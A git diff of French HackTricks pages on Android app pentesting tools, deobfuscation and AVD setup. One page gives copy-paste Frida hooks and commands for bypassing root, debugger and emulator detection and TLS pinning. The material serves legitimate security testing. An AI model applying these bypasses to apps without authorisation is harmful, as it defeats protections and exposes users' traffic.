dynamique avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz des requĂȘtes http** et rechercher des vulnĂ©rabilitĂ©s. +Une fois que vous avez terminĂ© l'analyse dynamique avec MobSF, vous pouvez cliquer sur "**Start Web API Fuzzer**" pour **fuzz** les requĂȘtes HTTP et rechercher des vulnĂ©rabilitĂ©s. > [!TIP] -> AprĂšs avoir effectuĂ© une analyse dynamique avec MobSF, les paramĂštres de proxy peuvent ĂȘtre mal configurĂ©s et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez corriger les paramĂštres de proxy en exĂ©cutant : +> AprĂšs avoir effectuĂ© une analyse dynamique avec MobSF, les paramĂštres du proxy peuvent ĂȘtre mal configurĂ©s et vous ne pourrez pas les corriger depuis la GUI. Vous pouvez corriger les paramĂštres du proxy en exĂ©cutant : > > ``` > adb shell settings put global http_proxy :0 > ``` -### Analyse dynamique assistĂ©e avec Inspeckage +### Assisted Dynamic Analysis with Inspeckage Vous pouvez obtenir l'outil depuis [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ Cet outil utilise des **Hooks** pour vous indiquer **ce qui se passe dans l'application** pendant que vous effectuez une **analyse dynamique**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -C'est un **excellent outil pour effectuer une analyse statique avec une interface graphique** +C'est un **excellent outil pour effectuer une analyse statique avec une GUI** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Cet outil est conçu pour rechercher plusieurs **security related Android application vulnerabilities**, soit dans le **source code** soit dans les **packaged APKs**. L'outil est Ă©galement **capable of creating a "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnĂ©rabilitĂ©s trouvĂ©es (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nĂ©cessaire de rooter l'appareil de test. +Cet outil est conçu pour rechercher plusieurs **vulnĂ©rabilitĂ©s liĂ©es Ă  la sĂ©curitĂ© des applications Android**, que ce soit dans le **code source** ou dans les **APKs packagĂ©es**. L'outil est Ă©galement **capable de crĂ©er un "Proof-of-Concept" deployable APK** et des **ADB commands**, pour exploiter certaines des vulnĂ©rabilitĂ©s trouvĂ©es (Exposed activities, intents, tapjacking...). Comme avec Drozer, il n'est pas nĂ©cessaire de rooter l'appareil de test. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -694,8 +695,8 @@ qark --java path/to/specific/java/file.java ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) - Affiche tous les fichiers extraits pour une consultation facile -- DĂ©compile automatiquement les fichiers APK en formats Java et Smali -- Analyse AndroidManifest.xml pour les vulnĂ©rabilitĂ©s courantes et le comportement +- DĂ©compile automatiquement les fichiers APK au format Java et Smali +- Analyse AndroidManifest.xml pour dĂ©tecter les vulnĂ©rabilitĂ©s courantes et le comportement - Analyse statique du code source pour dĂ©tecter les vulnĂ©rabilitĂ©s courantes et le comportement - Informations sur l'appareil - et plus encore @@ -704,7 +705,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse des fichiers _.apk_ Ă  la recherche de vulnĂ©rabilitĂ©s. Elle fonctionne en dĂ©compressant les APKs et en appliquant une sĂ©rie de rĂšgles pour dĂ©tecter ces vulnĂ©rabilitĂ©s. +SUPER est une application en ligne de commande utilisable sous Windows, MacOS X et Linux, qui analyse des fichiers _.apk_ Ă  la recherche de vulnĂ©rabilitĂ©s. Elle le fait en dĂ©compressant les APK et en appliquant une sĂ©rie de rĂšgles pour dĂ©tecter ces vulnĂ©rabilitĂ©s. Toutes les rĂšgles sont centralisĂ©es dans un fichier `rules.json`, et chaque entreprise ou testeur peut crĂ©er ses propres rĂšgles pour analyser ce dont ils ont besoin. @@ -716,17 +717,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn est un outil **multi-plateforme** qui aide les dĂ©veloppeurs, bugbounty hunters et ethical hackers effectuant [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles. +StaCoAn est un outil **crossplatform** qui aide les dĂ©veloppeurs, bugbounty hunters et ethical hackers Ă  effectuer de la [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) sur les applications mobiles. -Le concept est que vous glissez-dĂ©posez votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle gĂ©nĂ©rera un rapport visuel et portable pour vous. Vous pouvez ajuster les paramĂštres et les wordlists pour obtenir une expĂ©rience personnalisĂ©e. +Le concept est que vous glissez-dĂ©posez le fichier de votre application mobile (un .apk ou .ipa) sur l'application StaCoAn et elle gĂ©nĂ©rera pour vous un rapport visuel et portable. Vous pouvez ajuster les paramĂštres et les wordlists pour obtenir une expĂ©rience personnalisĂ©e. -TĂ©lĂ©charger[ latest release](https://github.com/vincentcox/StaCoAn/releases): +TĂ©lĂ©chargez[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework est un systĂšme d'analyse de vulnĂ©rabilitĂ©s Android qui aide les dĂ©veloppeurs ou hackers Ă  trouver des vulnĂ©rabilitĂ©s potentielles dans les applications Android.\ +AndroBugs Framework est un systĂšme d'analyse de vulnĂ©rabilitĂ©s Android qui aide les dĂ©veloppeurs ou les hackers Ă  trouver des vulnĂ©rabilitĂ©s potentielles dans les applications Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -734,11 +735,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** est un outil dont le but principal est de dĂ©tecter et d'alerter l'utilisateur sur les comportements potentiellement malveillants dĂ©veloppĂ©s par une application Android. +**Androwarn** est un outil dont le but principal est de dĂ©tecter et d'alerter l'utilisateur sur des comportements potentiellement malveillants dĂ©veloppĂ©s par une application Android. -La dĂ©tection est effectuĂ©e par **static analysis** du bytecode Dalvik de l'application, reprĂ©sentĂ© en **Smali**, Ă  l'aide de la bibliothĂšque [`androguard`](https://github.com/androguard/androguard). +La dĂ©tection est effectuĂ©e par **analyse statique** du bytecode Dalvik de l'application, reprĂ©sentĂ© en **Smali**, Ă  l'aide de la bibliothĂšque [`androguard`](https://github.com/androguard/androguard). -Cet outil recherche les **comportements courants des applications "malveillantes"** tels que : Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Cet outil recherche des **comportements courants d'applications "malveillantes"** tels que : exfiltration d'identifiants tĂ©lĂ©phoniques, interception de flux audio/vidĂ©o, modification des donnĂ©es PIM, exĂ©cution de code arbitraire... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -746,46 +747,46 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** est un framework d'ingĂ©nierie inverse et d'analyse d'applications mobiles. C'est un outil qui regroupe des outils couramment utilisĂ©s pour l'ingĂ©nierie inverse et l'analyse d'applications mobiles, afin d'aider Ă  tester les applications mobiles face aux menaces de sĂ©curitĂ© mobile OWASP. Son objectif est de rendre cette tĂąche plus facile et plus accessible pour les dĂ©veloppeurs d'applications mobiles et les professionnels de la sĂ©curitĂ©. +**MARA** est un framework d'ingĂ©nierie inverse et d'analyse d'applications mobiles. C'est un outil qui regroupe des outils couramment utilisĂ©s pour l'ingĂ©nierie inverse et l'analyse d'applications mobiles, afin d'aider Ă  tester les applications mobiles contre les menaces de sĂ©curitĂ© mobiles OWASP. Son objectif est de faciliter cette tĂąche et de la rendre plus accessible aux dĂ©veloppeurs d'applications mobiles et aux professionnels de la sĂ©curitĂ©. Il permet de : -- Extraire du code Java et Smali en utilisant diffĂ©rents outils -- Analyser des APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Extraire des informations privĂ©es de l'APK en utilisant des regexps. +- Extraire le code Java et Smali en utilisant diffĂ©rents outils +- Analyser les APKs en utilisant : [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extraire des informations privĂ©es depuis l'APK en utilisant des regexps. - Analyser le Manifest. - Analyser les domaines trouvĂ©s en utilisant : [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) et [whatweb](https://github.com/urbanadventurer/WhatWeb) -- DĂ©sobfusquer l'APK via [apk-deguard.com](http://www.apk-deguard.com) +- DĂ©obfusquer un APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous -Utile pour dĂ©tecter les malware : [https://koodous.com/](https://koodous.com/) +Utile pour dĂ©tecter des malware : [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Notez qu'en fonction du service et de la configuration utilisĂ©s pour obfusquer le code, les secrets peuvent ou non finir obfusquĂ©s. +Notez que, selon le service et la configuration utilisĂ©s pour obfusquer le code, les secrets peuvent ĂȘtre ou non obfusquĂ©s. ### [ProGuard]() -From [Wikipedia](): **ProGuard** est un outil open source en ligne de commande qui rĂ©duit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de dĂ©tecter et supprimer les instructions inutilisĂ©es. ProGuard est un logiciel libre distribuĂ© sous la GNU General Public License, version 2. +From [Wikipedia](): **ProGuard** est un outil open source en ligne de commande qui rĂ©duit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de dĂ©tecter et supprimer les instructions non utilisĂ©es. ProGuard est un logiciel libre et est distribuĂ© sous la GNU General Public License, version 2. -ProGuard est distribuĂ© dans le cadre de l'Android SDK et s'exĂ©cute lors de la compilation de l'application en mode release. +ProGuard est distribuĂ© dans l'Android SDK et s'exĂ©cute lors de la construction de l'application en mode release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Trouvez un guide pas Ă  pas pour dĂ©sobfusquer l'apk sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(From that guide) La derniĂšre fois que nous avons vĂ©rifiĂ©, le mode d'opĂ©ration de Dexguard Ă©tait : +(From that guide) Last time we checked, the Dexguard mode of operation was: -- charger une ressource en tant que InputStream ; -- passer le rĂ©sultat Ă  une classe hĂ©ritant de FilterInputStream pour la dĂ©chiffrer ; -- effectuer une obfuscation inutile pour faire perdre quelques minutes Ă  un reverseur ; -- passer le rĂ©sultat dĂ©chiffrĂ© Ă  un ZipInputStream pour obtenir un fichier DEX ; -- enfin charger le DEX rĂ©sultant comme Resource en utilisant la mĂ©thode `loadDex`. +- charger une ressource en tant qu'InputStream ; +- fournir le rĂ©sultat Ă  une classe hĂ©ritant de FilterInputStream pour le dĂ©chiffrer ; +- effectuer une obfuscation inutile pour faire perdre quelques minutes Ă  la personne effectuant le reverse engineering ; +- fournir le rĂ©sultat dĂ©chiffrĂ© Ă  un ZipInputStream pour obtenir un fichier DEX ; +- enfin charger le DEX obtenu comme Resource en utilisant la mĂ©thode `loadDex`. ### [DeGuard](http://apk-deguard.com) -**DeGuard inverse le processus d'obfuscation rĂ©alisĂ© par les outils d'obfuscation Android. Cela permet de rĂ©aliser de nombreuses analyses de sĂ©curitĂ©, y compris l'inspection du code et l'identification des bibliothĂšques.** +**DeGuard reversee le processus d'obfuscation effectuĂ© par les outils d'obfuscation Android. Cela permet de rĂ©aliser de nombreuses analyses de sĂ©curitĂ©, y compris l'inspection du code et la prĂ©diction des bibliothĂšques.** Vous pouvez tĂ©lĂ©verser un APK obfusquĂ© sur leur plateforme. @@ -795,15 +796,15 @@ This is a LLM tool to find any potential security vulnerabilities in android app ### [Simplify](https://github.com/CalebFenton/simplify) -C'est un **dĂ©obfuscateur Android gĂ©nĂ©rique.** Simplify **exĂ©cute virtuellement une app** pour comprendre son comportement puis **essaie d'optimiser le code** afin qu'il se comporte de façon identique mais soit plus facile Ă  comprendre pour un humain. Chaque type d'optimisation est simple et gĂ©nĂ©rique, donc peu importe le type spĂ©cifique d'obfuscation utilisĂ©. +It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD vous donne des informations sur **la façon dont un APK a Ă©tĂ© créé**. Il identifie de nombreux **compilateurs**, **packers**, **obfuscators**, et autres Ă©lĂ©ments Ă©tranges. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android. +APKiD vous donne des informations sur la façon dont un APK a Ă©tĂ© créé. Il identifie de nombreux compilers, packers, obfuscators et autres choses bizarres. C'est [_PEiD_](https://www.aldeid.com/wiki/PEiD) pour Android. ### Manual -[Lisez ce tutoriel pour apprendre quelques astuces sur **comment dĂ©obfusquer une obfuscation personnalisĂ©e**](manual-deobfuscation.md) +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) ## Labs @@ -811,7 +812,7 @@ APKiD vous donne des informations sur **la façon dont un APK a Ă©tĂ© créé**. AndroL4b est une machine virtuelle de sĂ©curitĂ© Android basĂ©e sur ubuntu-mate qui inclut une collection des derniers frameworks, tutoriels et labs provenant de diffĂ©rents passionnĂ©s et chercheurs en sĂ©curitĂ© pour le reverse engineering et l'analyse de malware. -## References +## RĂ©fĂ©rences - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) C'est une excellente liste de ressources @@ -824,7 +825,7 @@ AndroL4b est une machine virtuelle de sĂ©curitĂ© Android basĂ©e sur ubuntu-mate - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -## Yet to try +## À tester - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index b1574a105..ffc901516 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -Cette page fournit un workflow pratique pour retrouver une analyse dynamique contre des apps Android qui dĂ©tectent/empĂȘchent l'instrumentation ou imposent le TLS pinning. Elle se concentre sur le triage rapide, les dĂ©tections courantes et des hooks/tactiques copiables-collables pour les contourner sans repacking quand c'est possible. +This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible. ## Detection Surface (what apps check) -- VĂ©rifications de root : su binary, Magisk paths, getprop values, common root packages -- Frida/debugger checks (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scan de /proc, classpath, bibliothĂšques chargĂ©es +- VĂ©rifications de root : binaire su, chemins Magisk, valeurs getprop, packages root courants +- VĂ©rifications Frida/debugger (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), analyse de /proc, classpath, bibliothĂšques chargĂ©es - Anti‑debug natif : ptrace(), syscalls, anti‑attach, breakpoints, inline hooks -- VĂ©rifications d'initialisation prĂ©coce : Application.onCreate() ou hooks de dĂ©marrage de process qui plantent si l'instrumentation est prĂ©sente -- TLS pinning : custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins +- VĂ©rifications d'initialisation prĂ©coce : Application.onCreate() ou hooks de dĂ©marrage de processus qui plantent si instrumentation est prĂ©sente +- TLS pinning : TrustManager/HostnameVerifier personnalisĂ©s, OkHttp CertificatePinner, Conscrypt pinning, pinning natifs ## Step 1 — Quick win: hide root with Magisk DenyList @@ -18,14 +18,14 @@ Cette page fournit un workflow pratique pour retrouver une analyse dynamique con - Enable DenyList, add the target package - Reboot and retest -Beaucoup d'apps ne regardent que des indicateurs Ă©vidents (su/Magisk paths/getprop). DenyList neutralise souvent les vĂ©rifications naĂŻves. +Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 — 30‑second Frida Codeshare tests -Essayez des scripts drop‑in courants avant d'approfondir : +Try common drop‑in scripts before deep diving: - anti-root-bypass.js - anti-frida-detection.js @@ -35,7 +35,7 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Ces modules remplacent gĂ©nĂ©ralement les vĂ©rifications Java de root/debug, les scans de processus/services et l'appel natif ptrace(). Utiles sur des applications faiblement protĂ©gĂ©es ; les cibles durcies peuvent nĂ©cessiter des hooks sur mesure. +Ils neutralisent gĂ©nĂ©ralement les vĂ©rifications Java de root/debug, les scans de processus/services et l'appel natif ptrace(). Utile sur des applications faiblement protĂ©gĂ©es ; les cibles durcies peuvent nĂ©cessiter des hooks sur mesure. - Codeshare: https://codeshare.frida.re/ @@ -54,31 +54,31 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -Astuce : Medusa est great pour quick wins avant d'Ă©crire des custom hooks. Vous pouvez aussi cherry-pick des modules et les combiner avec vos propres scripts. +Tip: Medusa is great for quick wins before writing custom hooks. You can also cherry-pick modules and combine them with your own scripts. -## Étape 3 — Contourner les dĂ©tecteurs au dĂ©marrage en s'attachant tardivement +## Étape 3 — Contourner les dĂ©tecteurs d'initialisation en s'attachant tard -De nombreuses dĂ©tections ne s'exĂ©cutent que lors du process spawn/onCreate(). Spawn‑time injection (-f) ou gadgets sont dĂ©tectĂ©s ; s'attacher aprĂšs le chargement de l'UI peut permettre de passer. +De nombreuses dĂ©tections ne s'exĂ©cutent que lors du process spawn/onCreate(). Les Spawn‑time injection (-f) ou gadgets se font repĂ©rer ; en s'attachant aprĂšs le chargement de l'UI, on peut les contourner. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Si cela fonctionne, maintenez la session stable et procĂ©dez Ă  la cartographie et aux vĂ©rifications de stubs. +Si cela fonctionne, maintenez la session stable et procĂ©dez Ă  la cartographie et aux vĂ©rifications des stubs. -## Étape 4 — Cartographier la logique de dĂ©tection via Jadx et la recherche de chaĂźnes +## Étape 4 — Cartographier la logique de dĂ©tection via Jadx et recherche de chaĂźnes Mots-clĂ©s de triage statique dans Jadx : - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" -SchĂ©mas Java typiques : +ModĂšles Java typiques : ```java public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -APIs courantes Ă  examiner/hook: +Common APIs to review/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices - java.lang.System.loadLibrary / System.load (native bridge) @@ -87,7 +87,7 @@ APIs courantes Ă  examiner/hook: ## Étape 5 — Runtime stubbing with Frida (Java) -Outrepasser les gardes personnalisĂ©s pour renvoyer des valeurs sĂ»res sans repacking : +Surchargez les guards personnalisĂ©s pour renvoyer des valeurs sĂ»res sans repacking: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Triage des plantages prĂ©coces ? Dump classes juste avant qu'il ne plante pour repĂ©rer les namespaces de dĂ©tection probables : +Triage des crashes prĂ©coces ? Dump classes juste avant qu'il ne plante pour repĂ©rer les namespaces de dĂ©tection probables : ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -111,6 +111,7 @@ onComplete: () => console.log('Done') }); }); ``` +```javascript // Quick root detection stub example (adapt to target package/class names) Java.perform(() => { try { @@ -118,8 +119,9 @@ const RootChecker = Java.use('com.target.security.RootCheck'); RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); +``` -Consignez et neutralisez les mĂ©thodes suspectes pour confirmer le flux d'exĂ©cution : +Consigner et neutraliser les mĂ©thodes suspectes pour confirmer le flux d'exĂ©cution : ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -131,7 +133,7 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -Heuristiques courantes : Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contenant generic/goldfish/ranchu/sdk ; artefacts QEMU comme /dev/qemu_pipe, /dev/socket/qemud ; MAC par dĂ©faut 02:00:00:00:00:00 ; 10.0.2.x NAT ; absence de tĂ©lĂ©phonie/senseurs. +Heuristiques courantes : Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contenant generic/goldfish/ranchu/sdk ; artefacts QEMU comme /dev/qemu_pipe, /dev/socket/qemud ; MAC par dĂ©faut 02:00:00:00:00:00 ; NAT 10.0.2.x ; tĂ©lĂ©phonie/capteurs manquants. Falsification rapide des champs Build : ```js @@ -166,27 +168,27 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` Remarques -- Étendez pour OkHttp : hook okhttp3.CertificatePinner et HostnameVerifier selon les besoins, ou utilisez un script universel d'unpinning depuis CodeShare. +- Étendre pour OkHttp : hook okhttp3.CertificatePinner et HostnameVerifier si nĂ©cessaire, ou utiliser un script universel d'unpinning depuis CodeShare. - Exemple d'exĂ©cution : `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Étape 6 — Suivre la piste JNI/native lorsque les hooks Java Ă©chouent +## Étape 6 — Suivre la piste JNI/native lorsque les Java hooks Ă©chouent -Tracez les points d'entrĂ©e JNI pour localiser les loaders natifs et l'initialisation de la dĂ©tection : +Tracer les points d'entrĂ©e JNI pour localiser les chargeurs natifs et l'initialisation de la dĂ©tection : ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Triage natif rapide des fichiers .so embarquĂ©s : +Triage natif rapide des fichiers .so empaquetĂ©s : ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interactif/natif reversing: +Reversing interactif/natif: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Exemple: neutraliser ptrace pour contourner un simple anti‑debug dans libc: +Exemple : neutraliser ptrace pour contourner un anti‑debug simple dans libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -202,28 +204,28 @@ reversing-native-libraries.md ## Étape 7 — Objection patching (embed gadget / strip basics) -Si vous prĂ©fĂ©rez le repacking aux runtime hooks, essayez : +Si vous prĂ©fĂ©rez repacking aux runtime hooks, essayez : ```bash objection patchapk --source app.apk ``` -Remarques: -- NĂ©cessite apktool ; assurez‑vous d'utiliser une version rĂ©cente depuis le guide officiel pour Ă©viter des problĂšmes de build : https://apktool.org/docs/install -- Gadget injection permet l'instrumentation sans root mais peut nĂ©anmoins ĂȘtre dĂ©tectĂ© par des vĂ©rifications plus strictes Ă  l'initialisation. +Notes: +- NĂ©cessite apktool ; assurez‑vous d’avoir une version Ă  jour depuis le guide officiel pour Ă©viter des problĂšmes de build : https://apktool.org/docs/install +- Gadget injection permet l'instrumentation sans root mais peut toujours ĂȘtre dĂ©tectĂ© par des vĂ©rifications plus strictes au dĂ©marrage. -Optionnellement, ajoutez des modules LSPosed et Shamiko pour renforcer la dissimulation du root dans les environnements Zygisk, et paramĂ©trez le DenyList pour couvrir les processus enfants. +En option, ajoutez des modules LSPosed et Shamiko pour un masquage du root plus efficace dans les environnements Zygisk, et soignez la DenyList pour couvrir les processus enfants. -RĂ©fĂ©rences: +References: - Objection: https://github.com/sensepost/objection -## Étape 8 — Solution de repli : Patch TLS pinning pour la visibilitĂ© rĂ©seau +## Étape 8 — Solution de repli : Corriger le TLS pinning pour la visibilitĂ© rĂ©seau -Si l'instrumentation est bloquĂ©e, vous pouvez toujours inspecter le trafic en supprimant le pinning de façon statique : +Si l'instrumentation est bloquĂ©e, vous pouvez toujours inspecter le trafic en supprimant statiquement le pinning : ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Outil: https://github.com/shroudedcode/apk-mitm -- Pour les astuces CA‑trust de configuration rĂ©seau (et Android 7+ user CA trust), voir : +- Pour les astuces de configuration rĂ©seau CA‑trust (et Android 7+ user CA trust), voir : {{#ref}} make-apk-accept-ca-certificate.md @@ -251,14 +253,14 @@ objection --gadget com.example.app explore # Static TLS pinning removal apk-mitm app.apk ``` -## Astuces & mises en garde +## Conseils & mises en garde -- PrĂ©fĂ©rez attaching late plutĂŽt que spawning lorsque les apps plantent au lancement -- Certaines dĂ©tections se relancent dans les critical flows (ex., payment, auth) — gardez les hooks actifs pendant la navigation -- Mixez static et dynamic : string hunt dans Jadx pour prĂ©sĂ©lectionner des classes ; puis hook methods pour vĂ©rifier Ă  runtime -- Les apps hardenĂ©es peuvent utiliser des packers et du native TLS pinning — attendez‑vous Ă  devoir reverse le native code +- PrivilĂ©giez attaching late plutĂŽt que spawning lorsque les apps plantent au lancement +- Certaines detections re‑run dans des critical flows (par ex. payment, auth) — gardez les hooks actifs pendant la navigation +- Mix static and dynamic : string hunt dans Jadx pour prĂ©sĂ©lectionner des classes ; puis hook methods pour vĂ©rifier Ă  runtime +- Les apps hardenĂ©es peuvent utiliser des packers et native TLS pinning — attendez‑vous Ă  reverse native code -## RĂ©fĂ©rences +## References - [Reversing Android Apps: Bypassing Detection Like a Pro](https://www.kayssel.com/newsletter/issue-12/) - [Frida Codeshare](https://codeshare.frida.re/) diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 8f7113364..263d6b859 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,4 +1,4 @@ -# AVD - Appareil virtuel Android +# AVD - Android Virtual Device {{#include ../../banners/hacktricks-training.md}} @@ -6,14 +6,14 @@ Merci beaucoup Ă  [**@offsecjay**](https://twitter.com/offsecjay) pour son aide ## Qu'est-ce que c'est -Android Studio permet d'**exĂ©cuter des machines virtuelles Android que vous pouvez utiliser pour tester des APKs**. Pour pouvoir les utiliser vous aurez besoin de : +Android Studio permet d'**exĂ©cuter des machines virtuelles Android que vous pouvez utiliser pour tester des APK**. Pour les utiliser, vous aurez besoin de : - Les **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). - Ou **Android Studio** (avec Android SDK tools) - [Download here](https://developer.android.com/studio). -Sur Windows (dans mon cas) **aprĂšs avoir installĂ© Android Studio** j'avais les **SDK Tools installĂ©s dans**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Sous Windows (dans mon cas) **aprĂšs avoir installĂ© Android Studio** j'avais les **SDK Tools installĂ©s dans** : `C:\Users\\AppData\Local\Android\Sdk\tools` -Sur mac vous pouvez **tĂ©lĂ©charger les SDK tools** et les avoir dans le PATH en exĂ©cutant: +Sur mac vous pouvez **download the SDK tools** et les avoir dans le PATH en exĂ©cutant : ```bash brew tap homebrew/cask brew install --cask android-sdk @@ -24,11 +24,11 @@ Pour les problĂšmes Java : ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` -## Interface graphique +## Interface graphique (GUI) ### PrĂ©parer la machine virtuelle -Si vous avez installĂ© Android Studio, ouvrez simplement la vue principale du projet et accĂ©dez Ă  : _**Tools**_ --> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,25 +36,25 @@ Si vous avez installé Android Studio, ouvrez simplement la vue principale du pr
-Ensuite, cliquez sur _**Create Virtual Device**_ +Then, click on _**Create Virtual Device**_
_**sélectionnez** le téléphone que vous voulez utiliser_ et cliquez sur _**Next.**_ > [!WARNING] -> Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un avec l'icÎne Play Store ! +> Si vous avez besoin d'un téléphone avec Play Store installé, sélectionnez-en un qui affiche l'icÎne Play Store ! > > -Dans cette vue, vous pourrez **sélectionner et télécharger l'image Android** que le téléphone va exécuter : +Dans la vue actuelle, vous pourrez **sélectionner et télécharger l'image Android** que le téléphone va exécuter :
